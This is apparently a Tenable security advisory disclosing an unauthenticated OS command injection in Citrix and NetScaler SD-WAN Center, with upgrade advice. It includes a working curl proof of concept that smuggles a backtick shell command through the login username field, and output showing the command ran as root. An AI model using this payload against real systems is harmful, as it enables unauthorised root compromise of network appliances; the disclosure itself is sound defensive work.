Citrix SD-WAN Center and NetScaler SD-WAN Center Unauthenticated Remote Command Injection

Critical

Synopsis

While developing a Nessus plugin for CVE-2017-6316, Tenable found an unauthenticated remote operating system command injection vulnerability in Citrix SD-WAN Center 10.2.0.136.733315.

The vulnerability appears to be in /home/talariuser/www/app/Controller/UsersController.php. The controller has insufficient validation of user-supplied data ($username). An unauthenticated remote attacker can use the following CURL command to run arbitrary OS commands on the remote host:

curl -skv --tlsv1.2 -d '_method=POST&data%5BUser%5D%5Busername%5D=%60sudo%20id%20>/tmp/test%60&data%5BUser%5D%5Bpassword%5D=my_password&data%5BUser%5D%5BsecPassword%5D=my_secPassword' 'https://[target_host]/login'

With command output:

root@VWC:/home/talariuser/www/app/Controller# cat /tmp/test
uid=0(root) gid=0(root) groups=0(root)

Solution

Upgrade NetScaler SD-WAN Center to 10.0.7 or newer. Upgrade Citrix SD-WAN Center to 10.2.1 or newer. Follow Citrix's security best practices to further enhance your security posture.
